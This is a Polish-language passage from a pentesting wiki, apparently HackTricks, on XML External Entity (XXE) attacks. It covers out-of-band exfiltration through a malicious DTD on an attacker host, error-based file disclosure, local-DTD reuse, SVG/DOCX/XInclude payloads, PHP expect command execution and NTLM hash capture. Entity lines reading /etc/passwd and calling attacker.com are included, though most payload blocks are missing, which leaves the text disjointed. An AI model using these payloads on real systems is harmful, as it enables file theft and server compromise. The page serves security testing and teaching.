XXE - XEE - XML External Entity
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
XML to język znaczników zaprojektowany do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych znaczników. Różni się od HTML tym, że nie jest ograniczony do zestawu zdefiniowanych znaczników. Znaczenie XML spadło wraz z rosnącą popularnością JSON, mimo jego początkowej roli w technologii AJAX.
Reprezentacja danych przez encje: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych, takich jak <
i >
, które odpowiadają <
i >
, aby uniknąć konfliktu z systemem znaczników XML.
Definiowanie elementów XML: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne.
Definicja typu dokumentu (DTD): DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane.
Własne i zewnętrzne encje: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
Wykrywanie XXE za pomocą encji parametru: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub HTTP do kontrolowanej domeny, aby potwierdzić podatność.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
W tym ataku zamierzam przetestować, czy prosta deklaracja nowej ENCI jest działająca.
Spróbujmy odczytać /etc/passwd
na różne sposoby. Dla systemu Windows możesz spróbować odczytać: C:\windows\system32\drivers\etc\hosts
W tym pierwszym przypadku zauważ, że SYSTEM "**file:///**etc/passwd" również zadziała.
Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswigger).
W tym trzecim przypadku zauważamy, że deklarujemy Element stockCheck
jako ANY
W aplikacjach opartych na Javie może być możliwe wylistowanie zawartości katalogu za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):
XXE może być użyte do nadużycia SSRF w chmurze
Używając wcześniej skomentowanej techniki, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że jednostki XML nie są dozwolone, w takim przypadku możesz spróbować użyć jednostek parametrów XML:
W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą _ftp://_ używając na przykład tego podstawowego serwera xxe-ftp-server.rb). To wyjaśnienie opiera się na laboratorium Portswigger tutaj.
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu exfiltracji danych:
Struktura jest następująca:
The steps executed by this DTD include:
Definicja encji parametru:
Tworzona jest encja parametru XML, %file
, która odczytuje zawartość pliku /etc/hostname
.
Definiowana jest kolejna encja parametru XML, %eval
. Dynamicznie deklaruje nową encję parametru XML, %exfiltrate
. Encja %exfiltrate
jest ustawiona tak, aby wykonać żądanie HTTP do serwera atakującego, przekazując zawartość encji %file
w ciągu zapytania URL.
Wykonanie encji:
Wykorzystywana jest encja %eval
, co prowadzi do wykonania dynamicznej deklaracji encji %exfiltrate
.
Następnie używana jest encja %exfiltrate
, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak http://web-attacker.com/malicious.dtd
.
XXE Payload: Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
This payload defines an XML parameter entity %xxe
and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname
file to the attacker's server.
W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku w komunikacie o błędzie (to jest ważne tylko, jeśli możesz zobaczyć komunikaty o błędach). Przykład stąd.
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku /etc/passwd
, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:
Definiuje się encję parametru XML o nazwie file
, która zawiera zawartość pliku /etc/passwd
.
Definiuje się encję parametru XML o nazwie eval
, która zawiera dynamiczną deklarację dla innej encji parametru XML o nazwie error
. Ta encja error
, po ocenie, próbuje załadować nieistniejący plik, wykorzystując zawartość encji file
jako swoją nazwę.
Wywoływana jest encja eval
, co prowadzi do dynamicznej deklaracji encji error
.
Wywołanie encji error
skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku /etc/passwd
jako część nazwy pliku.
Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
Upon execution, odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyświetlający zawartość pliku /etc/passwd
.
Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej encji wewnątrz drugiej (eval
), ale jest to zabronione w wewnętrznym DTD. Dlatego nie możesz wymusić błędu bez użycia zewnętrznego DTD (zwykle).
A co z niewidocznymi lukami XXE, gdy interakcje out-of-band są zablokowane (połączenia zewnętrzne nie są dostępne)?
Luka w specyfikacji języka XML może ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia out-of-band są zablokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje.
Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w /usr/local/app/schema.dtd
, definiujący encję o nazwie custom_entity
. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku /etc/passwd
, przesyłając hybrydowy DTD w następujący sposób:
The outlined steps are executed by this DTD:
Definicja encji parametru XML o nazwie local_dtd
zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.
Następuje redefinicja encji parametru XML custom_entity
, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć eksploit XXE oparty na błędach. Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku /etc/passwd
.
Poprzez zastosowanie encji local_dtd
, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną custom_entity
. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu.
Real world example: Systemy korzystające z środowiska graficznego GNOME często mają DTD w /usr/share/yelp/dtd/docbookx.dtd
, zawierający encję o nazwie ISOamso
Ponieważ ta technika wykorzystuje wewnętrzny DTD, musisz najpierw znaleźć ważny. Możesz to zrobić instalując ten sam system operacyjny / oprogramowanie, które używa serwer, i szukając kilku domyślnych DTD, lub zbierając listę domyślnych DTD w systemach i sprawdzając, czy którykolwiek z nich istnieje:
For more information check https://portswigger.net/web-security/xxe/blind
W następującym niesamowitym repozytorium github możesz znaleźć ścieżki DTD, które mogą być obecne w systemie:
Ponadto, jeśli masz obraz Dockera ofiary, możesz użyć narzędzia z tego samego repozytorium, aby zeskanować obraz i znaleźć ścieżkę DTD obecnych w systemie. Przeczytaj Readme repozytorium github, aby dowiedzieć się jak.
Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, sprawdź drugą sekcję tego niesamowitego posta od Detectify.
Możliwość przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML.
Aby przetestować tę podatność, konieczne jest stworzenie pliku Microsoft Office zawierającego ładunek XXE. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.
Po rozpakowaniu dokumentu, plik XML znajdujący się w ./unzipped/word/document.xml
powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (takim jak vim). XML powinien zostać zmodyfikowany, aby zawierał pożądany ładunek XXE, często zaczynający się od żądania HTTP.
Zmodyfikowane linie XML powinny być wstawione między dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowanym URL-em dla żądań.
Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
Protokół jar jest dostępny wyłącznie w aplikacjach Java. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum PKZIP (np. .zip
, .jar
itp.), obsługując zarówno pliki lokalne, jak i zdalne.
Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to super przydatne do nadużywania XXE za pomocą systemowych plików DTD. Sprawdź tę sekcję, aby dowiedzieć się, jak nadużywać systemowe pliki DTD.
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonej lokalizacji, takiej jak https://download.website.com/archive.zip
.
Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak /tmp/...
.
Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
Odczytywany jest konkretny plik w archiwum, file.zip
.
Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.
Interesującą techniką przerwania tego procesu w drugim kroku jest utrzymanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w tym repozytorium mogą być wykorzystane do tego celu, w tym serwer Python (slow_http_server.py
) i serwer Java (slowserver.jar
).
Pisanie plików w tymczasowym katalogu może pomóc w eskalacji innej podatności, która dotyczy przechodzenia ścieżek (takich jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
Na hostach Windows możliwe jest uzyskanie hasha NTML użytkownika serwera WWW, ustawiając handler responder.py:
i wysyłając następujące żądanie
Then you can try to crack the hash using hashcat
Podczas integrowania danych klienta z dokumentami XML po stronie serwera, takimi jak te w zapytaniach SOAP w backendzie, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu DOCTYPE
. Jednak atak XInclude
oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Aby przeprowadzić atak XInclude
, należy zadeklarować przestrzeń nazw XInclude
i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!
Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
Gdy użytkownicy przesyłają obrazy, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity).
Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe:
Inna metoda polega na próbie wykonania poleceń za pomocą wrappera PHP "expect":
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, podkreślając potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!
Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.
Przeczytaj następujący post, aby dowiedzieć się, jak wykorzystać XXE przesyłając plik PDF:
Jeśli żądanie POST akceptuje dane w formacie XML, możesz spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera następujące:
Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:
Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie “Content Type Converter“. Tutaj znajdziesz ten przykład:
Inny przykład można znaleźć tutaj.
To działa tylko wtedy, gdy serwer XML akceptuje protokół data://
.
Możesz użyć ["Encode Recipe" z cyberchef tutaj ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do) do transformacji na UTF-7.
Jeśli strona używa PHP, zamiast używać file:/
możesz użyć php wrappersphp://filter/convert.base64-encode/resource=
aby uzyskać dostęp do plików wewnętrznych.
Jeśli strona używa Javy, możesz sprawdzić jar: protocol.
Sztuczka z https://github.com/Ambrotd/XXE-Notes Możesz stworzyć encję wewnątrz encji kodując ją za pomocą html entities i następnie wywołać ją, aby załadować dtd. Zauważ, że używane HTML Entities muszą być numeryczne (jak [w tym przykładzie](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD przykład:
Wyodrębnij index.php
Jeśli moduł PHP "expect" jest załadowany
Ten przykład jest inspirowany https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).
Żądanie jest wysyłane do serwera z następującą treścią:
Jednakże, to żądanie wywołuje błąd wewnętrzny serwera, konkretnie wspominając o problemie z deklaracjami znaczników:
Mimo błędu, rejestruje się trafienie w Burp Collaborator, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.
Out of Band Data Exfiltration Aby wyekstrahować dane, wysyłane jest zmodyfikowane żądanie:
To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Java jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.
Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:
Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dostosowywany:
Ta modyfikacja prowadzi do udanej eksfiltracji zawartości pliku, co odzwierciedla się w komunikacie o błędzie wysłanym przez HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący zarówno techniki Out of Band, jak i Error-Based do wydobycia wrażliwych informacji.
Poprawny XML w formacie RSS do wykorzystania luki XXE.
Prośba HTTP do serwera atakującego
Używając filtru base64 w PHP
XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody readObject, natychmiast uzyska wykonanie kodu na serwerze.
Wyciągnij informacje przez HTTP używając własnego zewnętrznego DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)